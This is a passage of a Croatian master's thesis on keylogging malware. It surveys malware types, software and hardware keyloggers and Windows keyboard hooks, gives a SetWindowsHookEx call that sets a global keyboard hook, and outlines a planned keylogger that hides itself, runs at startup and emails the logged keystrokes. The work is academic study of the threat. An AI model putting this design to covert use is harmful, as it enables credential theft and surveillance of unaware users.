20.07.2013 Views

softvera - FESB

softvera - FESB

softvera - FESB

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

SVEUČILIŠTE U SPLITU<br />

FAKULTET ELEKTROTEHNIKE, STROJARSTVA I<br />

BRODOGRADNJE<br />

DIPLOMSKI RAD<br />

NARUŠAVANJE PRIVATNOSTI I<br />

SIGURNOSTI KORISNIKA PRIMJENOM<br />

MALICIOZNOG "KEYLOGGING"<br />

SOFTVERA<br />

Nikola Žmirić<br />

Split, srpanj 2011.


S V E U Č I L I Š T E U S P L I T U<br />

FAKULTET ELEKTROTEHNIKE, STROJARSTVA I<br />

BRODOGRADNJE<br />

Diplomski studij: Diplomski studij Računarstva<br />

Smjer/Usmjerenje: Računarstvo<br />

Oznaka programa: 250<br />

Akademska godina: 2010./2011.<br />

Ime i prezime: NIKOLA ŢMIRIĆ<br />

Broj indeksa: 790-2009<br />

ZADATAK DIPLOMSKOG RADA<br />

Naslov: NARUŠAVANJE PRIVATNOSTI I SIGURNOSTI KORISNIKA<br />

PRIMJENOM MALICIOZNOG "KEYLOGGING" SOFTVERA<br />

Zadatak: U okviru ovog diplomskog rada zadatak studenta je istraţiti problematiku<br />

privatnosti podataka u računalnom okruţenju s posebnim naglaskom na maliciozne<br />

"keylogging" softvere. Pri tome je potrebno istraţiti mehanizme koje keylogger<br />

koristi za infekciju računala, detekciju pritisnutih tipki i potajan rad. Student će<br />

implementirati vlastitu keylogging aplikaciju koja će rezultate zapisa slati<br />

napadaču putem mreţe. Student će implementiranu "keylogging" aplikaciju<br />

testirati u kontoliranom laboratorijskom okruţenju.<br />

Prijava rada: 28.02.2011.<br />

Rok za predaju rada: 20.09.2011.<br />

Rad predan:<br />

Predsjednik<br />

Odbora za diplomski rad: Mentor:<br />

Dr.sc. Sven Gotovac, red. prof. Dr.sc. Mario Čagalj, izv. prof.


SADRŢAJ:<br />

1. UVOD .................................................................................................................................... 1<br />

2. MALWARE (maliciozni software) ..................................................................................... 2<br />

2.1. Osnovne vrste malware-a .............................................................................................. 2<br />

2.2. Pojam keylogger ............................................................................................................ 3<br />

2.3. Zašto keyloggeri predstavljaju prijetnju? ................................................................... 4<br />

3. VRSTE KEYLOGGERA .................................................................................................... 7<br />

3.1. Softverski keyloggeri ..................................................................................................... 7<br />

3.2. Hardverski keyloggeri ................................................................................................... 8<br />

4. RAD KEYLOGGERA ....................................................................................................... 12<br />

4.1. Windows Hooks ........................................................................................................... 13<br />

4.2. Lanac udica (hook chain) ............................................................................................ 14<br />

4.3. SetWindowsHookEx ..................................................................................................... 15<br />

5. IZRADA KEYLOGGERA ................................................................................................ 16<br />

5.1. Intervalno izvršavanje ................................................................................................. 17<br />

5.2. Klasa Hook.cs ............................................................................................................... 17<br />

5.3. Detekcija prisutnosti korisnika .................................................................................. 20<br />

5.4. Skriveni izbornik ......................................................................................................... 21<br />

5.5. Dodavanje u startup modifikacijom registra ............................................................ 22<br />

5.6. Screenshot..................................................................................................................... 23<br />

5.7. Spremanje podataka.................................................................................................... 23<br />

5.8. Slanje log datoteke e-mailom ...................................................................................... 25<br />

5.9. Brzi prikaz log datoteke .............................................................................................. 26<br />

5.10. Infekcija keyloggerom ............................................................................................... 28<br />

5.11. Primjena keyloggera .................................................................................................. 30<br />

6. ZAŠTITA OD KEYLOGGERA ....................................................................................... 34<br />

7. ZAKLJUČAK ..................................................................................................................... 37<br />

8. LITERATURA ................................................................................................................... 38


1. UVOD<br />

U današnje vrijeme informacijska tehnologija se sve brţe razvija i sve više olakšava ţivot<br />

ljudima. TakoĎer, svakodnevno poslovanje pojedinaca i velikih kompanija je uvelike<br />

olakšano. Uz brojne prednosti koje današnja razina informatizacije nudi potrebno je uočiti da<br />

tok informacija nije u potpunosti siguran. Postoje mnogi načini napada na privatnost i kraĎe<br />

povjerljivih podataka kao i veliki broj zloćudnih programa koji to omogućuju.<br />

U ovom diplomskom radu cilj je predstaviti keyloggere, zloćudne programe koji predstavljaju<br />

veliku prijetnju privatnosti i sigurnosti, a čine to praćenjem korisnikovih unosa znakova na<br />

tipkovnici. Nadalje, bit će opisana izrada jednostavnog keyloggera u kojem će biti<br />

implementirane osnovne funkcionalnosti i metode napada. U prvom poglavlju bit će opisani<br />

glavni predstavnici malware-a (malicioznog <strong>softvera</strong>) kao i sam pojam "keylogger". Drugo<br />

poglavlje će se baviti podjelom keyloggera na softverske i hardverske kao i svakom od<br />

njihovih podvrsta. U trećem poglavlju bit će predstavljeni principi rada svakog keyloggera i<br />

programski mehanizmi koje koriste. Sljedeće poglavlje će dati potpun uvid u postupak izrade<br />

keyloggera. Bit će opisane sve funkcionalnosti te programski kod koji ih omogućava. TakoĎer<br />

će biti opisan i sam princip rada keylogger aplikacije od početne infekcije računala do<br />

uspješne kraĎe povjerljivih podataka. Najčešće metode zaštite korisnika od napada<br />

keylogggerom bit će opisane u završnom poglavlju ovog diplomskog rada.<br />

1


2. MALWARE (maliciozni software)<br />

Pojam malware dolazi od engleskog izraza malicious software (hrv. zloćudni softver) i<br />

označava sve vrste programskih aplikacija koje na bilo koji način mogu ugroziti računalni<br />

sustav i čine to potajno. Najveću opasnost predstavljaju za podatke na računalu ali ponekad<br />

mogu izazvati i fizičku štetu na hardverskim komponentama [1] [2].<br />

Posljednjih godina se moţe zapaziti nagli rast u broju detekcija zloćudnog <strong>softvera</strong> što se<br />

moţe vidjeti na grafu (Slika 2.1.).<br />

Slika 2.1. Broj prikupljenih jedinstvenih uzoraka malware-a od strane<br />

2.1. Osnovne vrste malware-a<br />

Trojanski konji<br />

internet portala AV-Test.org [3]<br />

Ovakvi programi spadaju pod najčešću i najopasniju vrstu malware-a. Trojanski konj se ne<br />

koristi za infekciju i uništavanje datoteka, već se koristi u svrhu kontroliranja ţrtvinog<br />

računala s udaljene lokacije. Trojanski konj se na prvi pogled čini bezopasnim, čak i<br />

korisnim programom kojeg uglavnom korisnik sam pokrene. Nakon pokretanja, odnosno<br />

instalacije takvog programa napadač dobiva pristup računalu, a time i potencijalno, svim<br />

podacima na istome. Za razliku od računalnih virusa i crva, trojanski konj se ne replicira i ne<br />

širi samostalno [1] [2].<br />

2


Virusi<br />

Glavna im je svrha zaraziti računalo modificiranjem postojećih datoteka, replicirati se, te<br />

proširiti na druga računala. Ponašaju se kao pravi paraziti koji trebaju domaćina da bi se<br />

nadalje širili. Glavni medij širenja im je Internet kako bi zarazili što više računala.<br />

Crvi (eng. worms)<br />

Slični su računalnim virusima osim u tome što ne trebaju domaćina da bi zarazili sljedeće<br />

računalo. Crvi se samostalno repliciraju i šalju svoje kopije ostalim računalima na mreţi.<br />

Skoro uvijek uzrokuju neku štetu na mreţi, makar samo zagušenjem. Kompjuterski crvi<br />

predstavljaju ozbiljnu prijetnju velikim računalnim mreţama.<br />

RATS (Remote Access Trojan)<br />

Jedan je od najopasnijih tipova malware-a. Sličan je Trojanskom konju. Po instalaciji RAT-a<br />

na računalo napadač ima potpun nadzor nad sustavom što mu omogućava infekciju lokalnih<br />

datoteka, gašenje računala, instalaciju keyloggera itd.<br />

Adware (Advertisement-supported software)<br />

Glavna im je svrha prikaz oglasa na računalu. MeĎutim, mogu sadrţavati štetne viruse i<br />

programe za špijunaţu.<br />

2.2. Pojam keylogger<br />

Pojam "keylogger" je sam po sebi neutralan i označava funkciju nekog programa. Većina<br />

izvora definira keylogger kao softverski program koji potajno prati i sprema svaki pritisak<br />

tipke na tipkovnici. Takva definicija nije u potpunosti točna zbog toga što keylogger ne mora<br />

biti softverski program, već moţe biti i ureĎaj, odnosno hardverski keylogger (kao što će biti<br />

pokazano poslije). Iako se mnogo rjeĎe koriste, kada se priča o računalnoj sigurnosti vaţno je<br />

istaknuti njihovo postojanje. TakoĎer, funkcionalnosti keyloggera mogu biti (često i jesu)<br />

mnogo veće od jednostavne pohrane pritisnutih tipki. Vrste keyloggera i njihove<br />

funkcionalnosti bit će detaljnije opisane u nastavku ovog diplomskog rada.<br />

Legitimni programi mogu imati keylogging funkcije koje se mogu koristiti pri pozivu nekih<br />

programskih funkcionalnosti koristeći "hotkeys" (prečaci ili kombinacije tipaka). Postoji<br />

3


mnoštvo legitimnog <strong>softvera</strong> koji omogućava administratorima praćenje zaposlenika tijekom<br />

radnog vremena ili korisnicima da prate aktivnosti gostiju na vlastitim računalima. MeĎutim,<br />

tanka je granica izmeĎu opravdanog praćenja i špijunaţe. Legitimni softver se često<br />

zlonamjerno koristi za kraĎu korisnikovih tajnih informacija kao što su lozinke, brojevi<br />

kreditnih kartica, itd.<br />

Većina današnjih keyloggera se smatra legitimnim softverom ili hardverom, te su dostupni za<br />

kupnju na otvorenom trţištu. Razvojni programeri i trgovci softverom nude dug niz svrha u<br />

koje je primjereno koristiti keyloggere:<br />

- Sigurnost poduzeća: praćenje da li se računala koriste u svrhe nepredviĎene opisom<br />

radnog mjesta;<br />

- Sigurnost poduzeća: korištenje keyloggera u svrhu praćenja ključnih riječi i fraza<br />

povezanih s poslovnim tajnama čije bi otkrivanje naškodilo kompaniji;<br />

- Roditeljska kontrola: roditelji mogu pratiti što njihova djeca rade na Internetu, te mogu<br />

biti obaviješteni o pristupu internetskim stranicama s neprikladnim sadrţajem;<br />

- Ljubomorni supruţnici ili partneri mogu koristiti keylogger za praćenje radnji njihove<br />

bolje polovice;<br />

- ProvoĎenje zakona: kao jedna od metoda prikupljanja dokaza pri kriminalnoj istrazi.<br />

Poviše navedeni razlozi za korištenje keyloggera su više subjektivni nego objektivni; sve<br />

navedene situacije se mogu razriješiti drugim metodama. Svaki legitimni keylogging program<br />

se svejedno moţe koristiti sa zlim i kriminalnim namjerama. Danas se keyloggeri poglavito<br />

koriste u takve, zle namjere, da bi se krali korisnički tajni podaci uglavnom vezani za<br />

internetsko plaćanje. Upravo u tu svrhu tvorci zloćudnih programa neprestano pišu nove<br />

keyloggere.<br />

Nadalje, mnogi keyloggeri se skrivaju u računalnom sustavu (rootkit funkcionalnost) što ih<br />

čini punokrvnim trojanskim programima.<br />

2.3. Zašto keyloggeri predstavljaju prijetnju?<br />

Za razliku od ostalih zlonamjernih programa, keyloggeri ne predstavljaju prijetnju<br />

računalnom sustavu. Unatoč tome, velika prijetnja su korisnicima računalnog sustava pošto se<br />

mogu koristiti za presretanje lozinki i ostalih povjerljivih informacija unesenih preko<br />

4


tipkovnice, a i drugih ulaznih ureĎaja. Kao rezultat, cyber kriminalci mogu doći do PIN<br />

kodova i brojeva računa raznih sustava e-plaćanja, lozinki online korisničkih računa, e-mail<br />

adresa itd...<br />

Jednom kad napadač doĎe do povjerljivih korisničkih informacija s lakoćom moţe izvršiti<br />

transfer novca s korisničkog e-računa na svoj. Naţalost, pristup povjerljivim podacima moţe<br />

katkad imati mnogo ozbiljnije i dalekoseţnije posljedice od gubitka novca. Keyloggeri se<br />

mogu koristiti kao alat, kako za industrijsku, tako i za političku špijunaţu i tako dovesti do<br />

otkrivanja tajnih drţavnih informacija što nadalje moţe dovesti do kompromitiranja sigurnosti<br />

drţavnih organizacija (npr. kraĎa privatnih enkripcijskih ključeva).<br />

Na Slici 2.2. je prikazan scenarij napada gdje napadač A (eng. attacker) vrši napad na<br />

korisnike banke - ţrtva, Vi (eng. victim). Da bi zarazio ţrtvu keyloggerom koristi razne<br />

tehnike od slanja spam e-maila sa zloćudnom aplikacijom u privitku, ubacivanja keyloggera<br />

kada ţrtva pristupi zloćudnoj internet stranici do ručne instalacije programa.<br />

Slika 2.2. Prikaz napada na korisnike banke i dohvata povjerljivih podataka [4]<br />

5


Ţrtva sada ima keylogger instaliran na svome računalu koji prati njezine unose znakova sa<br />

tipkovnice. Ţrtva V1 pristupa svom bankovnom računu na stranici internet bankarstva P1<br />

putem mreţe autentifikacijom, odnosno unošenjem povjerljivih podataka putem tipkovnice<br />

(broj bankovnog računa, lozinka itd.). Kada "uhvati" povjerljive podatke keylogger aplikacija<br />

ih šalje napadaču na e-mail ili FTP server (eng. dropzone). Po primanju povjerljivih podataka<br />

napadač ima mogućnost pristupa ţrtvinom bankovnom računu unošenjem istih.<br />

Osim keyloggera najčešće metode koje se koriste pri cyber prijevarama (eng. cyber fraud) su:<br />

- Phishing: vrsta pokušaja dohvata tajnih informacija (npr. korisnička imena, lozinke i<br />

brojevi kreditnih kartica) gdje se napadač pretvara da je legitiman entitet elektroničke<br />

komunikacije. Najčešće se provodi e-mailom i uglavnom navodi korisnike da unesu<br />

svoje informacije na zlonamjernoj internet stranici koja svojim izgledom skoro<br />

identično imitira legitiman internet servis (PayPal, Facebook, Gmail itd.).<br />

- Social engineering: obuhvaća razne metode manipuliranja i varanja korisnika u svrhu<br />

otkrivanja povjerljivih informacija.<br />

Korisnici koji su svjesni sigurnosnih pitanja mogu se lako zaštititi protiv phishing napada tako<br />

da ignoriraju takve e-mailove i ne unose osobne podatke na sumnjivim internet stranicama.<br />

Teţe je, meĎutim, zaštititi se od keyloggera; jedina učinkovita metoda je korištenje<br />

odgovarajuće sigurnosne zaštite u obliku specijaliziranog programa za otkrivanje takvih<br />

prijetnji iz razloga što je nemoguće da korisnik primijeti da je keylogger instaliran na<br />

njegovom računalu.<br />

6


3. VRSTE KEYLOGGERA<br />

Moţe se reći da su keyloggeri softverski ili hardverski entiteti koji obavljaju keylogging<br />

funkciju (eng. keystroke logging). Nadalje, keylogging moţemo definirati kao proces praćenja<br />

(i pohranjivanja) tipki pritisnutih na tipkovnici, u pravilu na tajan način tako da korisnik nije<br />

svjestan da se njegove radnje prate. Postoji velik broj keylogging metoda, od softverskih i<br />

hardverskih, do elektromagnetskih i onih baziranih na zvučnoj analizi...<br />

3.1. Softverski keyloggeri<br />

To su softverski programi dizajnirani za rad na računalu. Oni se izvode skriveni od oka<br />

korisnika i presreću sve pritisnute tipke (eng. keystrokes) na računalu na kojem su pokrenuti.<br />

Nadalje, softverski keylogger u odreĎenim intervalima šalje "uhvaćene" tipke napadaču (e-<br />

mail, FTP server itd.).<br />

Razlikujući ih po njihovoj tehničkoj konstrukciji i načinu rada keyloggere moţemo podijeliti<br />

na pet kategorija [5][6]:<br />

- Hypervisor-based: Keylogger se moţe smjestiti unutar virtualnog računala (eng.<br />

malware hypervisor) gdje se u principu izvodi "ispod" operacijskog sustava, koji pak<br />

ostaje nepromijenjen. Time efektivno postaje virtualni stroj (eng. virtual machine) i ne<br />

nalazi se na samom operativnom sustavu, a upravo to ga čini teškim za pronaći.<br />

- Kernel-based: Ovakvi keyloggeri su veoma efektivni i teški za iskorijeniti. Nalaze se<br />

na razini kernela zbog čega ih je teško detektirati. Često se implementiraju kao<br />

rootkitovi i tako prevare sustav koji ih vidi kao svoj sastavni dio. Kao dio kernela<br />

ovakvi programi nemaju prepreke za pristup svim hardverskim unosima. Često se<br />

implementiraju kao driveri same tipkovnice i time im je direktno dozvoljen pristup<br />

unesenim znakovima čak i prije nego što dospiju do operacijskog sustava. Njihova<br />

kompleksnost ih čini veoma teškim za isprogramirati pa se i rjeĎe koriste.<br />

- API-based: Ovakvi keyloggeri se "zakače" (eng. hook) na API (Application<br />

programming interface) pa ih operacijski sustav obavještava svaki put kad se pritisne<br />

tipka na tipkovnici, a oni nadalje jednostavno pohranjuju te znakove. Koriste se API<br />

funkcije kao što su GetAsyncKeyState(), GetForegroundWindow() za dohvat stanja<br />

7


tipkovnice i pretplatu na dogaĎaje s tipkovnice (eng. keyboard events). Ovakvi<br />

keyloggeri su lakši za isprogramirati od prethodnih pa se i češće koriste.<br />

- Form grabbing based: Keyloggeri bazirani na dohvatu formi prate dogaĎajne funkcije<br />

Internet preglednika (eng. browser event functions) te biljeţe povjerljive informacije<br />

sa predanih web obrazaca. Informacije se biljeţe prije njihove daljnje predaje na<br />

Internet i time se zaobilazi HTTPS enkripcija.<br />

- Packet analyzers: Keyloggeri koji hvataju i analiziraju pakete mreţnog prometa<br />

povezane s HTTP POST dogaĎajima u svrhu dohvata neenkriptiranih lozinki.<br />

Softverski keyloggeri se mogu unaprijediti dodatnim funkcionalnostima kako bi došli do<br />

korisnikovih informacija bez oslanjanja na pritiske tipki sa tipkovnice kao jedini način unosa.<br />

Neke od dodatnih funkcionalnosti:<br />

- Clipboard logging – keylogger hvata sve informacije koje je korisnik kopirao u trenutni<br />

spremnik (eng. clipboard).<br />

- Screen logging (screenshots) – pohranjuje se slika trenutnog stanja na ekranu da bi se<br />

došlo do bilo kakvih grafičkih informacija. Moguće je hvatanje cijelog ekrana, prozora<br />

samo jedne aplikacije ili čak samo područja oko pokazivača miša. Slike se hvataju<br />

periodično ili kao rezultat korisnikovih akcija (npr. klik mišem).<br />

- Hvatanje teksta unutar kontrola – Windows API omogućava dohvat text svojstva nekih<br />

kontrola što znači da je tako moguće doći do lozinki čak i ako su skrivene iza maske<br />

(uglavnom znak asterisk).<br />

- Hvatanje svakog otvorenog programa, foldera ili prozora kao i screenshot svake<br />

posjećene internet stranice.<br />

- Hvatanje upita internet pretraživačima, razgovora instant messenger aplikacija i<br />

ostalih Internet aktivnosti.<br />

3.2. Hardverski keyloggeri<br />

Hardverski keyloggeri nisu ovisni o instaliranom softveru te se nalaze kao ureĎaj u<br />

računalnom sustavu. Najčešće su implementirani kao ureĎaj prispojen izmeĎu tipkovnice i<br />

računala. Oni biljeţe svu aktivnost tipkovnice i spremaju u vlastitu internu memoriju.<br />

8


Hardverski keyloggeri imaju prednost nad softverskim jer su u stanju pratiti aktivnosti od<br />

trena kad je računalo upaljeno i time presresti lozinke za BIOS ili eventualno korišteni<br />

enkripcijski softver.<br />

Svi hardverski keyloggeri imaju sljedeće komponente:<br />

- mikrokontroler: prevodi slijed podataka izmeĎu tipkovnice i računala, obraĎuje ga i<br />

prosljeĎuje svojoj internoj memoriji<br />

- memorijski ureĎaj: najčešće flash memorija u koju se pohranjuju snimljeni podaci;<br />

mogu biti memorijskog kapaciteta od jednog kilobajta do nekoliko megabajta<br />

Moţemo razlikovati sljedeće osnovne tipove hardverskih keyloggera:<br />

- Obični hardverski keylogger: Sklop koji se spaja izmeĎu tipkovnice i računala (Slika<br />

3.1.). Presreće svu aktivnost tipkovnice, odnosno sve pritisnute tipke te ih sprema u<br />

svoju internu memoriju. Ovakav keylogger nije ovisan o trenutnom operacijskom<br />

sustavu stoga ne dolazi u sukob s ijednim programom na računalu i time je nevidljiv<br />

svim specijaliziranim antivirusnim programima.<br />

Slika 3.1. Hardverski keylogger<br />

- Beţični keylogger sniffer: Prikuplja podatkovne pakete koji se odašilju izmeĎu beţične<br />

tipkovnice i njenog prijamnika, te pokušava "probiti" enkripcijski ključ kojim se<br />

osigurava beţična komunikacija izmeĎu ta dva ureĎaja.<br />

- Firmware: BIOS računala je odgovoran za upravljanje dogaĎajima tipkovnice te se<br />

moţe reprogramirati tako da biljeţi sve pritiske tipki i dalje ih obraĎuje. Pošto se<br />

BIOS svakog računala nalazi na postojanom memorijskom ureĎaju takva<br />

implementacija spada pod hardverske keyloggere.<br />

9


- Prekrivanje tipkovnice (eng. keyboard overlay): Laţna tipkovnica se postavlja na<br />

izvornu tipkovnicu tako da svaku pritisnutu tipku registrira i laţna i izvorna tipkovnica<br />

(Slika 3.2.). Često se ovakvim metodama koriste kriminalci za kraĎu PIN-ova<br />

postavljanjem laţnih tipkovnica na bankomate. Laţni ureĎaj je dizajniran tako da<br />

izgleda kao sastavni dio bankomata što ga čini teško primjetnim.<br />

Slika 3.2.Bankomat sa instaliranom lažnom tipkovnicom i bez nje<br />

- Akustični keylogger: Radi na principu pretvaranja zvuka u podatke. Temelji se na<br />

spoznaji da svaka tipka na tipkovnici kada se pritisne proizvodi jedinstven zvuk,<br />

odnosno zvučni uzorak (Slika 3.3.). U tom slučaju oslušni ureĎaj moţe detektirati<br />

blage varijacije pri pritisku različitih tipki na tipkovnici. Ovakav ureĎaj zahtijeva<br />

uzorak od barem tisuću pritisaka tipki da bi proizveo prihvatljive rezultate. Da bi se<br />

ustanovilo koja je tipka pritisnuta koriste se razne statističke metode. Učestalost<br />

ponavljanja sličnih akustičnih karakteristika, vrijeme izmeĎu pritiska dvije različite<br />

tipke, kao i najvjerojatniji jezik u kojem korisnik piše, zajedno doprinosi analizi i<br />

daljnjem mapiranju zvuka u slova.<br />

Slika 3.3. Audio signal pritiska jedne tipke [7]<br />

10


- Elektromagnetske emisije: Moguće je detektirati elektromagnetske emisije koje<br />

proizvodi tipkovnica bez fizičkog kontakta s istom. Ova metoda nije široko<br />

primjenjiva već je pokazala rezultate samo u laboratorijima. Švicarski znanstvenici su<br />

testirali 11 različitih USB, PS/2 i laptop tipkovnica u polugluhoj komori (eng. semi-<br />

anechoic chamber), te pokazali da su sve ranjive na ovu vrstu detekcije. Za detekciju<br />

specifičnih frekvencija emitiranih iz tipkovnica koristi se širokopojasni prijamnik.<br />

- Optičko nadziranje: Iako nije keylogger u uţem smislu riječi, ovakav se pristup<br />

takoĎer moţe pokazati korisnim za dobavljanje lozinki ili PIN brojeva. Primjer sličnog<br />

pristupa je pokazan u praktičnom dijelu ovog diplomskog rada.<br />

11


4. RAD KEYLOGGERA<br />

Glavna ideja iza keyloggera je stati izmeĎu dvije karike u nizu dogaĎaja od trena kada se<br />

tipka na tipkovnici pritisne do prikaza informacije na ekranu. Kako je već opisano, to se moţe<br />

postići bilo video nadzorom, hardverskom modifikacijom same tipkovnice, umetanjem<br />

ureĎaja izmeĎu računala i tipkovnice, modifikacijom drivera, modifikacijom kernela ili pak,<br />

najčešće, zahtijevanjem informacija od tipkovnice koristeći standardne API metode.<br />

Najproširenije metode za praćenje unosa znakova su:<br />

- Sistemska udica (eng. hook) koja korištenjem WinAPI metoda (SetWindowsHook)<br />

presreće dojavu o pritisnutoj tipki<br />

- Ciklički zahtjev tipkovnici (eng. cyclical information keyboard request) za<br />

informacijom o pritisnutoj tipki. Implementirano WinAPI metodama<br />

Get(Async)KeyState ili GetKeyboardState<br />

- Koristeći filter driver za tipkovnicu. Vrsta drivera koji prvi prima informaciju o pritisku<br />

tipke te je dalje prosljeĎuje driverima operacijskog sustava.<br />

Slijedi prikaz različitih vrsta keyloggera ovisno o vrsti implementirane metode rada:<br />

Slika 4.1. Zastupljenost metoda za praćenje unesenih znakova[8]<br />

U zadnje vrijeme sve su više prisutni keyloggeri koji koriste razne metode maskiranja svojih<br />

datoteka da bi izbjegli detekciju. Te metode spadaju pod tzv. rootkit metode, odnosno skup<br />

programa kojima je moguće sakriti datoteke i pokrenute procese od operacijskog sustava.<br />

12


Dvije su glavne rootkit metode:<br />

- maskiranje u korisničkom načinu rada (eng. user mode masking)<br />

- maskiranje u administratorskom načinu rada (eng. kernel mode masking)<br />

Sljedeći graf prikazuje učestalost keyloggera s obzirom na korištenu metodu skrivanja:<br />

Slika 4.2. Zastupljenost metoda za skrivanje [8]<br />

Što je keylogger teţi za isprogramirati i što je teţa metoda koju koristi to je manje zastupljen<br />

pri općoj upotrebi, a više se koristi u specifične svrhe (najčešće ilegalne). Kao što se moţe<br />

vidjeti na grafovima na Slici 4.1. i Slici 4.2. keyloggeri koji koriste filter driver metodu za<br />

"hvatanje" pritisnutih tipki i kernel metodu za skrivanje najrjeĎe se koriste. MeĎutim, upravo<br />

takve keyloggere koriste cyber kriminalci pri specifičnim napadima na velike kompanije.<br />

4.1. Windows Hooks<br />

Windows Hooks (u daljnjem tekstu - udica) je mehanizam unutar Windows API-ja<br />

(application programming interface) pomoću kojega aplikacija moţe presresti sistemske<br />

dogaĎaje (eng. events) prije nego doĎu do ciljne aplikacije. Takvi dogaĎaji uključuju poruke<br />

meĎu procesima, akcije miša i pritiske tipki na tipkovnici. Takav mehanizam moţe reagirati<br />

na dogaĎaje, mijenjati ih ili pak odbaciti. Udice umanjuju performanse sustava jer je potrebna<br />

dodatna procesorska obrada pri svakoj od sistemskih poruka [9].<br />

Udice nude velike mogućnosti: obrada ili izmjena svake sistemske poruke; snimanje ili<br />

reprodukcija dogaĎaja s tipkovnice ili miša; sprječavanje poziva drugih filtara ...<br />

13


Neke od primjena sistemskih udica su:<br />

- Praćenje poruka pri debuggiranju<br />

- Pruţanje podrške za snimanje i reproduciranje makro naredbi<br />

- Pruţanje podrške za help key (F1)<br />

- Simulacija unosa sa miša i tipkovnice<br />

- Implementacija aplikacije za osposobljavanje pomoću računala (eng. computer-based<br />

training, CBT)<br />

U osnovi, postoje dvije vrste udica:<br />

- Globalna udica (eng. Global hook, System-wide Hook): presreće poruke svih aplikacija<br />

u sustavu<br />

- Lokalna udica (eng. Local Hook, Thread-Specific Hook): presreće poruke samo<br />

odreĎenih, unaprijed specificiranih procesa<br />

Funkcije koje primaju dogaĎaje zovu se Hook Procedure i klasificiraju se po vrsti dogaĎaja<br />

koje presreću. Na primjer, hook procedura moţe primati sve dogaĎaje s tipkovnice (pritisak<br />

tipke). Da bi operativni sustav mogao pozvati hook proceduru, ona mora biti instalirana,<br />

odnosno zakačena na udicu. Proces kačenja jedne ili više hook procedura na udicu naziva se<br />

postavljanje udice (eng. setting a hook). Ako udica ima na sebi više od jedne hook procedure,<br />

operativni sustav stvara lanac hook procedura. Posljednje instalirana procedura se nalazi na<br />

početku lanca dok se prva instalirana procedura nalazi na kraju lanca.<br />

Za izmjenu i pristup postojećim udicama, aplikacije koriste SetWindowsHookEx i<br />

UnhookWindowsHookEx API funkcije.<br />

4.2. Lanac udica (hook chain)<br />

Sustav omogućava velik broj različitih vrsta udica. Svaka vrsta omogućava pristup različitom<br />

aspektu mehanizma za upravljanje porukama. Na primjer, aplikacija moţe koristeći<br />

WH_MOUSE udicu pratiti promet poruka miša.<br />

U operativnom sustavu se ostvaruje lanac udica za svaku vrstu udice. Moţe se reći da je lanac<br />

udica u biti, lista pointera na aplikacijski definirane pozivne funkcije – hook procedure.<br />

14


Kad se dogodi poruka asocirana s odreĎenom vrstom udice, sustav prosljeĎuje tu poruku<br />

svakoj od sistemskih udica (hook procedura) koje se nalaze na lancu, od prve prema<br />

posljednjoj [9].<br />

Za instalaciju hook procedure unutar hook lanca koristi se API funkcija SetWindowsHookEx.<br />

Funkcija SetWindowsHookEx uvijek instalira hook proceduru na početak lanca. Kad doĎe do<br />

dogaĎaja kojeg prati udica, sustav poziva proceduru s početka lanca koja je asocirana s<br />

udicom. Svaka hook procedura u lancu odlučuje hoće li proslijediti dogaĎaj sljedećoj<br />

proceduri. Hook procedura prosljeĎuje dogaĎaj sljedećoj proceduri pozivom API funkcije<br />

CallNextHookEx.<br />

4.3. SetWindowsHookEx<br />

Moţe se reći da je funkcija SetWindowsHookEx jedna od najvaţnijih funkcija pri izradi<br />

keyloggera jer omogućava njegovu temeljnu funkcionalnost, a to je registracija svih<br />

pritisnutih tipki tipkovnice. Funkcija SetWindowsHookEx se koristi za instalaciju aplikacijski<br />

definirane hook procedure unutar hook lanca.<br />

Slijedi detaljniji opis sintakse funkcije i prosljeĎenih joj vrijednosti [10].<br />

HHOOK WINAPI SetWindowsHookEx(<br />

__in int idHook,<br />

__in HOOKPROC lpfn,<br />

__in HINSTANCE hMod,<br />

__in DWORD dwThreadId<br />

);<br />

- idHook: Označava vrstu sistemske udice koja se postavlja. U našem slučaju idHook ima<br />

vrijednost 13 što je identifikacijska oznaka za tipkovnicu, odnosno WH_KEYBOARD_LL<br />

- lpfn: Označava pointer na hook proceduru koja preuzima dogaĎaj<br />

- hMod: Označava handle instance aplikacije koja postavlja udicu stoga se vrijednost<br />

postavlja na API.GetModuleHandle(mod.ModuleName)<br />

- dwThreadId: Označava identifikacijsku oznaku trenutnog procesa. Postavljanjem<br />

vrijednosti na 0 udica postaje globalna.<br />

Dakle, konačni poziv funkcije, a time i postavljanje udice izgleda ovako:<br />

API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);<br />

15


5. IZRADA KEYLOGGERA<br />

U sklopu ovog poglavlja bit će prikazan primjer jednostavnog keyloggera. TakoĎer će biti<br />

detaljnije objašnjen proces stvaranja istoga. Nadalje, bit će opisane sve funkcionalnosti i<br />

programski kod koji ih omogućava.<br />

Dakle, cilj je napisati keylogger aplikaciju koja će imati osnovne karakteristike i<br />

funkcionalnosti svakog keyloggera. Keylogger će dohvaćati sve korisnikove unose s<br />

tipkovnice. Aplikacija će biti skrivena od korisnika i pokretat će se pri svakom paljenju<br />

računala. Svi dohvaćeni podaci će se spremati u tekstualnu datoteku čiju lokaciju moţemo<br />

sami odrediti. Dobivena tekstualna datoteka (log file) će se slati e-mailom na ţeljenu e-mail<br />

adresu.<br />

Osim osnovnih funkcionalnosti cilj je implementirati i neke od naprednijih karakteristika koje<br />

keylogger moţe imati.<br />

Osnovne funkcionalnosti koje će biti implementirane:<br />

- skrivanje prisutnosti od korisnika<br />

- hvatanje pritisnutih tipki<br />

- spremanje podataka na ţeljeno mjesto na disku u obliku tekstualnog log fajla<br />

- slanje podataka mailom<br />

- pokretanje pri svakom paljenju računala (modifikacija registra)<br />

Nadalje, u ovoj praktičnoj provedbi izrade keyloggera bit će demonstrirane neke od dodatnih<br />

funkcionalnosti koje keylogger moţe imati:<br />

- skriveni izbornik<br />

- mogućnost detekcije ključnih riječi i djelovanja sukladno tome<br />

- hvatanje slike trenutnog stanja na zaslonu (eng. screenshot) i njezino slanje mailom<br />

- trenutni prikaz uhvaćenog teksta na zaslonu u svrhu eventualnog optičkog nadziranja<br />

- detekcija prisutnosti korisnika<br />

- neprimjetna instalacija<br />

16


5.1. Intervalno izvršavanje<br />

Osim samog praćenja i spremanja pritisnutih tipki osnova svakog keyloggera je upravo<br />

intervalno izvršavanje. Naime, svaka funkcionalnost keyloggera se mora izvršavati u<br />

intervalima. Moguća alternativa je isključivo samo reagiranje na korisnikove akcije.<br />

